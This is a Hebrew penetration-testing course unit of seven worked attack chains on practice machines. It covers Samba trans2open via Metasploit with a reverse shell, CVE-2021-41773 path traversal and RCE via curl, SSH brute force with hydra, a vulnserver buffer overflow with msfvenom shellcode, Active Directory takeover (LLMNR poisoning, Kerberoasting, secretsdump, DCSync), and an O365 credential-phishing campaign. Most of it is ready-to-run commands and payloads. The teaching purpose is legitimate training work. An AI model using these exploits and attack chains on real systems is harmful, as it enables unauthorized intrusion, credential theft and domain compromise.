

דוגמאות מהעולם האמיתי

חומר לימוד

1 יחידות

תוכן העניינים

1.  דוגמאות מהעולם האמיתי (Real-World Worked Examples)

Real-World Worked) דוגמאות מהעולם האמיתי (Examples

שרשראות תקיפה מלאות, צעד-אחר-צעד, כפי שהן קורות בבדיקת חדירות אמיתית. כל דוגמה מדגימה את המתודולוגיה מקצה לקצה על מכונת תרגול **חוקית**. שחזר אותן במעבדה שלך.

⚠ כל הדוגמאות בוצעו על מכונות תרגול ייעודיות (VulnHub / TryHackMe). לעולם לא על מערכת אמיתית ללא רשות.

דוגמה 1 — Kioptrix Level 1 (Linux, קל)

התרחיש: קיבלת IP יחיד במעבדה. המטרה: root.

שלב 1 — Recon / גילוי

```
nmap -sn 192.168.56.0/24      # מציאת המכונה החיה
# → 192.168.56.101
```

שלב 2 — Enumeration

```
nmap -sC -sV -p- -oN kioptrix.txt 192.168.56.101
```

פלט מפתח:

```
22/tcp open  ssh      OpenSSH 2.9p2
80/tcp open  http      Apache 1.3.20 (mod_ssl/2.8.4 OpenSSL/0.9.6b)
139/tcp open  netbios   Samba
443/tcp open  ssl/http  Apache/1.3.20
```

מנייה עמוקה יותר:

```
enum4linux -a 192.168.56.101  # → Samba 2.2.1a
nikto -h http://192.168.56.101  # → פגיע mod_ssl
```

שלב 3 — חקר חולשות

```
searchsploit Samba 2.2          # → trans2open (CVE-2003-0201)
searchsploit mod_ssl 2.8        # → OpenFuck (CVE-2002-0082)
```

שני וקטורים אפשריים. נבחר ב-Samba (יציב ב-Metasploit).

שלב 4 — ניצול

```
msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.10      # Kali שלך
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

שלב 5 — הוכחה

```
whoami      # root
id           # uid=0(root)
cat /etc/shadow  # Hashes - כל ה
```

לקח: גרסאות ישנות (Apache 1.3.20, Samba 2.2.1a) → חולשות מוכרות → root. **המנייה הובילה ישירות לניצול.**

דוגמה 2 — ניצול (CVE-2021-41773) Web: Apache Path Traversal

התרחיש: שרת web מריץ Apache 2.4.49 — גרסה עם חולשת Path Traversal מפורסמת.

מנייה

```
nmap -sV -p 80 10.10.10.50      # → Apache/2.4.49
whatweb http://10.10.10.50
```

חקר וניצול

חולשת **CVE-2021-41773** מאפשרת קריאת קבצים מחוץ ל-root של השרת:

```
# קריאת /etc/passwd דרך Path Traversal:
curl 'http://10.10.10.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
```

אם `mod_cgi` מאופשר — אפשר להסלים ל-RCE (Remote Code Execution):

```
curl 'http://10.10.10.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; id'
# → uid=1(daemon) – הרצת פקודות!
```

לקח: זיהוי גרסה מדויקת (2.4.49) הוא ההבדל בין "יש שרת web" ל-"יש לי RCE". תמיד `-sV`.

דוגמה 3 — SSH-l Brute Force (הקדמה למודול 8)

התרחיש: פורט 22 פתוח, אין Exploit לגרסה, אך יש שם משתמש שנחשף במנייה.

מנייה

```
nmap -sV -p 22 10.10.10.60      # OpenSSH – שיר Exploit אין
# במנייה קודמת מצאנו שם משתמש "admin"
```

תקיפת סיסמה

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.60
# → [22][ssh] host: 10.10.10.60 login: admin password: password123
```

גישה

```
ssh admin@10.10.10.60          # התחברות עם הפרטים שנמצאו
whoami
```

לקח: לא כל גישה מגיעה מ-Exploit. **סיסמה חלשה** היא לעיתים הדרך הקלה ביותר. (מודול 8 — Password Attacks).

דוגמה 4 — שרשרת אמיתית: Recon פסיבי → גישה ראשונית

התרחיש: בדיקת חדירות חיצונית (External) על ארגון. אין נקודת התחלה מלבד הדומיין.

1. OSINT פסיבי (מודול 5)

```
sublist3r -d company.com          # → dev.company.com נמצא
# hunter.io → תבנית מייל: {first}.{last}@company.com
# HaveIBeenPwned → מייל של עובד הופיע בדלף
```

2. גישה אקטיבית

```
nmap -sC -sV dev.company.com      # סביבת פיתוח חשופה, פורט 8080 פתוח
```

פאנל התחברות ב- `dev.company.com:8080` . עם פרטי הגישה שדלפו (מ-HIBP) — כניסה מצליחה (Credential Reuse).

לקח: דלף מידע + סביבת פיתוח חשופה = גישה ראשונית ללא ניצול טכני כלל. הגורם האנושי והתצורה החלשה הם לרוב הווקטור.

דוגמה 5 — Buffer Overflow מלא על vulnserver (מודול 10)

התרחיש: שירות TCP פגיע (vulnserver) על פורט 9999. המטרה: Shell דרך גלישת חוצץ.

שלב 1 — Fuzzing (מציאת טווח הקריסה)

```
# עד קריסה A סקריפט ששולח כמות גדלה של
buf = "A" * 100
while True:
    s.send(("TRUN ./:" + buf).encode()); buf += "A"*100
# → קרס סביב 2000 בתים
```

שלב 2 — מציאת ה-Offset

```
msf-pattern_create -l 3000          # EIP דפוס ייחודי → שולחים, קוראים
msf-pattern_offset -l 3000 -q 386F4337
# → Exact match at offset 2003
```

שלב 3 — אימות שליטה ב-EIP

```
buffer = b"A"*2003 + b"B"*4        # EIP 42424242 צריך להראות 
```

שלב 4 — JMP ESP-1 Bad Characters

```
!mona bytearray -b "\x00"          # רע \x00 השואה → רק  
!mona find -s "\xff\xe4" -m essfunc.dll # → 625011AF
```

שלב 5 — Shellcode → Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=<kali> LPORT=4444 \  
EXITFUNC=thread -b "\x00" -f python -v shellcode
```

```
buffer = b"A"*2003 + b"\xaf\x11\x50\x62" + b"\x90"*16 + shellcode
```

```
nc -lvnp 4444 # exploit → C:\> whoami
```

לקח: BOF הוא תהליך קבוע בן 7 שלבים. הדיוק ב-Offset, ב-Bad Chars וב-Little-Endian הוא ההבדל בין כישלון להצלחה.

דוגמה 6 — Active Directory: מ-Zero ל-Admin (8, 11, 13 מודולים)

התרחיש: בדיקה פנימית, חוברת ל-LAN **ללא אישורים**. המטרה: Domain Admin.

שלב 1 — LLMNR Poisoning (גישה ראשונית ללא אישורים)

```
sudo responder -I eth0 -dwv          # של משתמש hash NTLMv2 לוכד  
hashcat -m 5600 hash.txt rockyou.txt  
# → j.smith : Summer2021
```

שלב 2 — Enumeration עם אישורים

```
crackmapexec smb <dc-ip> -u j.smith -p 'Summer2021' --users  
bloodhound-python -u j.smith -p 'Summer2021' -d corp.local -ns <dc-ip> -c All
```

שלב 3 — Kerberoasting (הרחבת הרשאות)

```
GetUserSPNs.py corp.local/j.smith:'Summer2021' -dc-ip <dc-ip> -request  
hashcat -m 13100 tgs.txt rockyou.txt  
# → svc_sql : Password123!
```

שלב 4 — BloodHound מראה נתיב + תנועה רוחבית

```
BloodHound: svc_sql → AdminTo → FILE01 (session של Domain Admin יושב עליו)
```

```
secretsdump.py corp.local/svc_sql:'Password123!'@FILE01 # → NTLM של DA
```

שלב 5 — DCSync → השתלטות

```
secretsdump.py corp.local/DAuser@<dc-ip> -hashes :<DA-NTLM>
```

```
# lsadump::dcsync → hash של Administrator → Domain Admin 🏆
```

לקח: שרשרת AD קלאסית: **LLMNR → Kerberoast → BloodHound → PtH → DCSync**. שים לב שכל שלב מזין את הבא, ושפיצוח סיסמאות (מודול 8) מופיע פעמיים.

דוגמה 7 — פשינג → גישה פנימית (מודולים 12, 13, 15)

התרחיש: בדיקה חיצונית בהרשאה. אין נקודת כניסה טכנית — נשתמש בגורם האנושי.

שלב 1 — OSINT

```
theHarvester -d corp.com -b all # מונה + first.last@corp.com
```

```
# LinkedIn → 40 עובדים, Office 365
```

שלב 2 — קמפיין פשינג (GoPhish)

Pretext: "חדש, התחבר לאימות 0365-מעבר ל-IT מחלקת"

Landing Page: שבט של דף התחברות 0365

→ נשלח ל-40 עובדים; 6 הזינו סיסמה

שלב 3 — שימוש בגישה

```
# דריסת רגל ברשת הפנימית → VPN-אחת הסיסמאות עובדת ב
```

```
# (מודול 13) AD ו-Kerberoasting → (מודול 12) Pivoting: משם
```

לקח: ~90% מהפריצות מתחילות כך. **MFA** היה חוסם את שלב 3 גם עם סיסמה נכונה — ולכן הוא ההמלצה הקריטית ביותר בדוח (מודול 16).

מה משותף לכל הדוגמאות?

1. המתודולוגיה **זהה** תמיד: Enumeration → Recon → חקר חולשה → ניצול → הוכחה.
2. **מנייה יסודית** (במיוחד -sv) היא שקובעת את הצלחת הניצול.
3. גרסאות ישנות, **סיסמאות חלשות**, **ותצורה שגויה** הם הווקטורים הנפוצים — לא רק Exploits מתוחכמים.
4. **תיעוד** בכל שלב = הבסיס לדוח (מודול 16).

🍰 בחר דוגמה, שחזר אותה במעבדה, ותעד כל צעד. זה התרגול הכי אפקטיבי.

← חזרה למפת הקורס · בנק שאלות · מבחן מעשי